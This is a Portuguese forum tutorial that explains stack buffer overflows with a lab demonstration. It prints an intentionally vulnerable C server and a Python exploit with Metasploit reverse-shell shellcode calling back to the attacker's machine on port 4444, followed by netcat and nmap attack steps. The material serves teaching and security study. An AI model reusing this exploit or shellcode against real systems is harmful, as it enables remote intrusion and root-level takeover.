seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

Invadindo e Entendendo o Buffer Overflow

Ir para baixo  Mensagem [Página 1 de 1]

1Invadindo e Entendendo o Buffer Overflow Empty Invadindo e Entendendo o Buffer Overflow Dom Fev 10, 2013 8:05 pm

Vansheeler

Vansheeler
novato
novato

Matrix – o filme

O filme “Matrix Reloaded” é um marco na indústria cinematográfica, não só pelos efeitos especiais, mas também do ponto de vista tecnológico, pela utilização de uma ferramenta de uso real no campo da segurança da informação.

A certa altura do filme, a personagem Trinity invade o computador da Matrix, utilizando o nmap para fazer o reconhecimento de portas e assim detectando a porta 22 (SSH) aberta. Explorando uma vulnerabilidade do ser­vidor SSH, utiliza um exploit denominado ‘sshnuke’ para ganhar acesso ao servidor.

O nmap é uma ferramenta de reconhecimento largamente utilizada no dia-a-dia dos profissionais de segurança da informação (e dos crackers também), que permite mapeamento de portas utilizando diversas técnicas furtivas de reconhecimento além de identificar com boa precisão, o sistema operacional que roda no dispositivo remoto.

A vulnerabilidade explorada, como se vê na figura acima, SSHv1 CRC32, era uma vulnerabilidade real, mas o exploit (sshkuke), embora fosse fruto da imaginação do autor, é plenamente factível.

Entendendo o Buffer Overflow

A vulnerabilidade ssh1 crc32 foi descoberta no ano de 2001, afetava as versões SSH menor que 1.2.32, openSSH menor que 2.3 entre outras variações e era do tipo remote buffer overflow. A exploração dessa vulnerabilidade permite a injeção um código malicioso no servidor remoto para executar as mais variadas ações como por exemplo, abrir um shell para uso do atacante, eliminar regras do firewall, instalar um backdoor, matar processos, criar usuários, etc, ou no mínimo provocar uma negação de serviço.

Um buffer overflow é um provocado por um erro de programação que gera uma exception no acesso à memória. Ele ocorre quando um processo tenta armazenar um dado além dos limites de um buffer de tamanho determinado, sobrescrevendo áreas de memória adjacentes a esse buffer, incluindo alguns endereços de controle fluxo ou ponteiros de memória utilizados pelo processador, o que normalmente causa um erro de “Segmentation Fault”, provocando o encerramento do programa.

Esses “endereços de controle de fluxo”, na realidade, são ponteiros para a próxima instrução a ser executada pelo processador e se cuidadosamente sobrepostos, podem provocar um desvio no fluxo de execução normal do programa para o código maléfico do atacante.

No esquema acima podemos ver um exemplo de como ocorre o ataque de buffer overflow. Basicamente, o atacante envia um dado com tamanho maior que o espaço alocado para a buffer, juntamente com um código malicioso, de tal forma que o endereço de retorno da função, contido na região chamada de EIP, seja sobreposto para apontar para o código do atacante.

No caso específico dessa vulnerabilidade SSH1 CRC32, um conteúdo inteiro de 32 bits é atribuído à uma variável de 16 bits da rotina “deattack.c” e pode ser explorado remotamente pelo envio de um pacote cuidadosamente montado para esse fim.

Reproduzindo o Ataque

Conceitualmente simples, na prática, o ataque de buffer overflow remoto não é tão fácil de ser bem sucedido, por depender de posições de memória que mudam de acordo com a compilação, versão do sistema operacional, etc. Claro, que uma vez criado o exploit que efetivamente funcione para uma determinada versão de software e sistema operacional, o ataque torna-se trivial de ser reproduzido.

Como a vulnerabilidade utilizada no filme é muito antiga, após exaustivas buscas na internet, consegui achar o exploit para essa vulnerabilidade, porém, não consegui achar a versão de SSH compatível, na sua forma binária e instalável numa versão de SO compatível com o exploit, impossibilitando a reprodução fiel do ataque usado no filme.

Diante dessa dificuldade, optei por apresentar uma demonstração acadêmica da exploração remota de buffer overflow, utilizando um programa meramente demonstrativo.

O programa escrito em linguagem C, comporta-se como um servidor, escutando uma porta TCP e ao receber um dado por essa porta, exibe na console e envia uma mensagem de retorno ao cliente.

Server

#include

#include

#include

#include

#include

#include

void error(char *msg)

{

perror(msg);

exit(1);

}

void viewer(char *string)

{

//declaracao de char buffer

char buffer[1024];

//a string do parametro eh copiada nesse buffer

strcpy(buffer,string);

//e depois mostrada na stdout

printf("Mensagem recebida: %s\n",buffer);

fflush;

}

int main(int argc, char *argv[])

{

int sockfd, newsockfd, portno, clilen;

char buffer[2000];

struct sockaddr_in serv_addr, cli_addr;

int n;

if (argc < 2) {

fprintf(stderr,"ERRO: porta nao especificada.\n");

exit(1);

}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0)

error("ERRO ao abrir socket");

bzero((char *) &serv_addr, sizeof(serv_addr));

portno = atoi(argv[1]);

serv_addr.sin_family = AF_INET;

serv_addr.sin_addr.s_addr = INADDR_ANY;

serv_addr.sin_port = htons(portno);

if (bind(sockfd, (struct sockaddr *) &serv_addr,

sizeof(serv_addr)) < 0)

error("ERRO de 'bind'");

listen(sockfd,5);

clilen = sizeof(cli_addr);

while(1)

{

newsockfd = accept(sockfd,

(struct sockaddr *) &cli_addr,

&clilen);

if (newsockfd < 0)

error("ERRO na recepcao");

bzero(buffer,256);

n = read(newsockfd,buffer,2000);

if (n < 0) error("ERRO na leitura do socket");

viewer(buffer);

n = write(newsockfd,"A mensagem foi recebida pelo servidor.", strlen("A mensagem foi recebida pelo servidor."));

if (n < 0) error("ERROR na gravacao do socket");

}

return 0;

}

No código do programa, podemos observar na função viewer(), o ponto vulnerável do programa. A variável buffer é definida com o tamanho de 1024 bytes, mas não existe qualquer verificação quanto ao tamanho do dado atribuído a ela.

Dessa forma, se enviarmos um pacote com 1028 bytes (antes da região EIP, que desejamos alterar, existe o EBP com 4 bytes, mas não nos interessa), mais o endereço de desvio, podemos sobrepor o endereço original. Existem certos detalhes técnicos adicionais que tornam o desenvolvimento do exploit mais complexo, mas que fogem ao escopo desse artigo. Maiores informações podem ser obtidas consultando os documentos citados nas referências desse artigo.

Na nossa demonstração, compilamos e executamos esse programa servidor numa máquina virtual Vmware, com sistema operacional Debian 4.0, kernel 2.6.18-6-486, enderço ip 172.16.56.128, porta 1025. O ataque parte da máquina hospedeira, Ubuntu 8.04., ip 172.16.56.1.

Para realizar o ataque, utilizamos um script em python com o payload ou shellcode (código malicioso) gerado pelo metasploit e realizar uma conexão reversa do servidor para o cliente na porta 4444.

Exploit

#!/usr/bin/env python

import socket

import getopt

import sys

host = "172.16.56.128"

port = 1025

# linux_ia32_reverse - LHOST=172.16.56.1 LPORT=4444 Size=202 Encoder=Alpha2 [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]

shellcode = \

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49" \

"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x45" \

"\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x55\x41\x32\x41\x41\x32" \

"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x48\x69\x36\x51\x6b" \

"\x6b\x31\x43\x77\x33\x73\x63\x31\x7a\x46\x62\x41\x7a\x33\x56\x36" \

"\x38\x4b\x39\x49\x71\x78\x4d\x4b\x30\x4f\x63\x33\x69\x4c\x70\x65" \

"\x6f\x68\x4d\x6f\x70\x57\x39\x74\x39\x4b\x49\x33\x6b\x41\x4a\x42" \

"\x48\x4c\x6c\x44\x50\x56\x58\x44\x41\x75\x36\x30\x68\x72\x31\x61" \

"\x4c\x73\x73\x33\x56\x43\x63\x4e\x69\x4b\x51\x6e\x50\x51\x76\x62" \

"\x70\x42\x71\x52\x73\x6c\x49\x48\x61\x30\x43\x68\x4d\x6d\x50\x63" \

"\x62\x42\x48\x74\x6f\x54\x6f\x63\x43\x52\x48\x35\x38\x36\x4f\x61" \

"\x72\x70\x69\x30\x6e\x4c\x49\x6a\x43\x61\x42\x63\x63\x4b\x39\x79" \

"\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45"

retaddr = "\x77\xe7\xff\xff"

buff = "A" * 1028 + retaddr + shellcode + "\x00"

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect((host, port))

sock.send(buff)

sock.close()

sock = None
Realizando o ataque

Os passos para executar o ataque de demonstração consistem no seguinte:

Inicialmente, colocamos o servidor para executar no Debian, rodando na VM, escutando a porta 1025.
Na máquina hospedeira, numa sessão shell, colocamos o netcat escutando na porta 4444 para receber a conexão de retorno.
Em outra sessão shell, executamos o nmap que confirma a existência do serviço (no caso, porta 1025) e em seguida, executamos o exploit.
No shell do netcat recebemos a conexão de callback do servidor, onde podemos digitar qualquer comando, herdando as permissões da conta em que o servidor é executado (no nosso caso root).

O uso da técnica de callback serve para burlar as regras do firewall, iniciando uma conexão da rede interna para a rede externa.

As telas a seguir, demonstram o ataque realizado:

Essa tela demonstra o nmap executado na máquina cliente, verificando as portas abertas no servidor, no intervalo de 1 a 2048, onde comprovamos a porta 1025 aberta.

Ainda na máquina cliente, comprovamos o funcionamento do servidor enviando uma mensagem de teste para ele, com o uso do comando echo, fazendo um pipe para o netcat e recebendo a mensagem de confirmação.

Num segundo momento, executamos o script de exploit, que envia o payload para o servidor.

No servidor podemos ver a mensagem de teste e posteriormente a mensagem de ataque onde se vê uma seqüência de letras “A” somente para preencher o buffer e em seguida a representação ASCII do payload.

Nessa tela podemos ver o netcat escutando a porta 4444 e depois recebendo a conexão do servidor. A comprovação de que estamos no servidor pode ser obtido pelo comando uname -a e a conta em execução pelo whoami.

Conclusões

Apesar de ser de difícil execução, por depender de endereços de memória específicos para cada compilação/versão de software e sistema operacional, uma vez elaborado o exploit para determinada versão, sua execução é trivial e extremamente perigosa pelo resultado que o atacante pode obter.

Esses ataques podem retornar um shell para o atacante, executar um flush no iptables (remover todas as regras do firewall), incluir contas de usuário, enviar e instalar um backdoor, etc.

Firewalls, especialmente os construídos sobre linux, não devem conter outros serviços para minimizar os riscos, já que um ataque a um serviço vulnerável nesse equipamento pode simplesmente torna-lo inócuo pela execução de um flush no iptables, eliminado todas as suas regras de controle de acesso.

Durante nossos testes, verificamos que o Ubuntu aborta o programa vulnerável (servidor) ao perceber uma tentativa de stack smashing (tentativa de corrupção dos endereços da pilha, usados nos ataques de buffer overflow), ao passo que o Debian não acusou nada. Isso significa que determinadas distribuições são mais seguras que outras.

E por fim, novas vulnerabilidades são descobertas todos os dias. Patches (correções) ou novas versões dos softwares vulneráveis são distribuídos tão logo essas vulnerabilidades sejam descobertas e divulgadas, devendo ser aplicadas o quanto antes aos nossos sistemas para minimizar os riscos.

Referência: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]

http://www.brutalsecurity.com.br/

Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos